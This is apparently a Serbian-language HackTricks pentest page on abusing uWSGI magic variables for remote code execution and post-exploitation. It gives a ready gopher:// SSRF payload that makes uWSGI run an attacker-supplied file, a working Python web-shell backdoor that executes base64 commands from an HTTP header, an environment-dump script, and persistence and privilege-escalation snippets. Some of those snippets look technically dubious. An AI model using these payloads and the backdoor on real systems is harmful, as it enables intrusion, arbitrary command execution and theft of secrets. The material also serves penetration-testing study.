WSGI trikovi za post-eksploataciju

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled WSGI

Web Server Gateway Interface (WSGI) je specifikacija koja opisuje kako web server komunicira sa web aplikacijama i kako se web aplikacije mogu povezivati da obrade jedan zahtev. uWSGI je jedan od najpopularnijih WSGI servera, često korišćen za serviranje Python web aplikacija.

Eksploatacija uWSGI magičnih varijabli

uWSGI pruža specijalne "magic variables" koje se mogu koristiti za dinamičku konfiguraciju ponašanja servera. Ove varijable se mogu postaviti preko HTTP headera i mogu dovesti do ozbiljnih sigurnosnih ranjivosti ako nisu pravilno validirane.

Ključne iskorišćive varijable

UWSGI_FILE - Izvršavanje proizvoljnog fajla

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Ova promenljiva omogućava učitavanje i izvršavanje proizvoljnih Python fajlova kao WSGI aplikacija. Ako napadač može da kontroliše ovaj parametar, može postići Remote Code Execution (RCE).

UWSGI_SCRIPT - Učitavanje skripti

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Učitava navedeni skript kao novu aplikaciju. U kombinaciji sa file upload-om ili write capabilities, ovo može dovesti do RCE.

UWSGI_MODULE and UWSGI_CALLABLE - Dinamičko učitavanje modula

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Ovi parametri omogućavaju učitavanje proizvoljnih Python modula i pozivanje specifičnih funkcija unutar njih.

UWSGI_SETENV - Manipulacija varijabli okruženja

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Može se koristiti za izmenu environment variables, što može potencijalno uticati na ponašanje aplikacije ili dovesti do učitavanja zlonamerne konfiguracije.

UWSGI_PYHOME - Python Environment Manipulation

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Menja Python virtuelno okruženje, potencijalno učitavajući maliciozne pakete ili druge Python interpretere.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Menja radni direktorijum pre obrade zahteva, što se može iskoristiti za path traversal attacks.

SSRF + Gopher to

The Attack Vector

Kada je uWSGI dostupan preko SSRF (Server-Side Request Forgery), napadači mogu komunicirati sa internim uWSGI socket-om kako bi iskoristili magijske promenljive. Ovo je naročito opasno kada:

  1. Aplikacija ima SSRF ranjivosti
  2. uWSGI radi na internom portu/socket-u
  3. Aplikacija ne validira magijske promenljive ispravno

uWSGI je dostupan zbog SSRF jer konfiguracioni fajl uwsgi.ini sadrži: socket = 127.0.0.1:5000, što ga čini dostupnim iz web aplikacije putem SSRF.

Exploitation Example

Korak 1: Kreirajte zlonamerni payload

Prvo, injektujte Python kod u fajl kojem server može pristupiti (upis fajla unutar servera, ekstenzija fajla nije bitna):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Korak 2: Sastavite uWSGI protokol zahtev

Koristite Gopher protokol da pošaljete raw uWSGI pakete:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Ovaj payload:

  • Povezuje se na uWSGI na portu 5000
  • Postavlja UWSGI_FILE da pokazuje na zlonamerni fajl
  • Prisiljava uWSGI da učita i izvrši Python kod

Struktura uWSGI protokola

uWSGI protokol koristi binarni format gde:

  • Varijable se kodiraju kao stringovi prefiksirani dužinom
  • Svaka varijabla sadrži: [name_length][name][value_length][value]
  • Paket počinje zaglavljem koje sadrži ukupnu veličinu

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Zatim upotrebite UWSGI_FILE da učitate ovaj backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Perzistencija zasnovana na okruženju

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Otkrivanje informacija

Ispis promenljivih okruženja

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Pristup datotečnom sistemu

Koristite UWSGI_CHDIR u kombinaciji sa serviranjem fajlova da pristupite osetljivim fajlovima:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

Ako uWSGI radi sa povišenim privilegijama, napadači mogu manipulisati dozvolama socket-a:

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Prepisivanje konfiguracije

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks